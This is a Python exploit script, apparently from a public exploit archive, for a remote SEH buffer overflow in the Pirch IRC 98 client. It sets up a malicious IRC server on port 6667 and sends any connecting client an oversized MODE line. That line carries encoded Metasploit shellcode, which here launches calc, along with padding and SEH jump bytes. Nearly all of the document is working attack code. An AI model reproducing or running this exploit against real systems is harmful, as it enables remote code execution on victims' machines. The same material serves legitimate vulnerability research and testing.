Pitch IRC 98 Client Buffer Overflow

`#!/usr/bin/python  
#[*] Usage : python pirch.py  
# _ _ _ __ _ _ _   
#| || | (_) ___ / \ | |__ | | |   
#| __ | | | (_-< | () | | / / |_ _|  
#|_||_| |_| /__/ \__/ |_\_\ |_|   
#  
#[*] Bug : Pirch IRC 98 Client (response) Remote BOF Exploit (SEH)  
#[*] Tested on : Xp sp3 (EN)(VB)  
#[*] Ref : Bid 5079  
#[*] Exploited by : His0k4  
#[*] Greetings : All friends (DZ)  
  
  
from socket import *  
  
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  
shellcode=(  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"  
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x58\x4e\x47"  
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58"  
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"  
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x33\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x48"  
"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x30\x4b\x34"  
"\x4b\x48\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x58"  
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43"  
"\x42\x4c\x46\x36\x4b\x38\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x47"  
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a"  
"\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b"  
"\x42\x30\x42\x50\x42\x30\x4b\x58\x4a\x56\x4e\x43\x4f\x35\x41\x33"  
"\x48\x4f\x42\x46\x48\x55\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"  
"\x42\x45\x4a\x46\x42\x4f\x4c\x58\x46\x30\x4f\x35\x4a\x46\x4a\x59"  
"\x50\x4f\x4c\x58\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x56"  
"\x4e\x36\x43\x56\x42\x30\x5a")  
  
payload = "DZ" #Trick track  
payload += shellcode  
payload += "\x41"*(1035-len(shellcode))  
payload += "\xE8\xF0\xFB\xFF\xFF" # back again  
payload += "\x42"*5  
payload += "\xEB\xF4\xFF\xFF" # back  
payload += "\x9A\x2B\x40\x0A" # lucky x0A=>x00 ;) univ p/p/r  
  
  
head = ":irc.localhost 001 attacker :Welcome to the Internet Relay Chat network, [email protected]\r\n"  
head += ":[email protected]= MODE "+payload+" :-i\r\n"  
  
  
s = socket(AF_INET, SOCK_STREAM)  
s.bind(("0.0.0.0", 6667))  
s.listen(1)  
  
print "[*] Listening on [IRC] 6667"  
c, addr = s.accept()  
print "[*] Connection accepted from: %s" % (addr[0])  
c.recv(1024)  
c.send(head)  
  
raw_input("[*] Payload sended!\nPress key to exit")  
c.close()  
s.close()  
  
  
`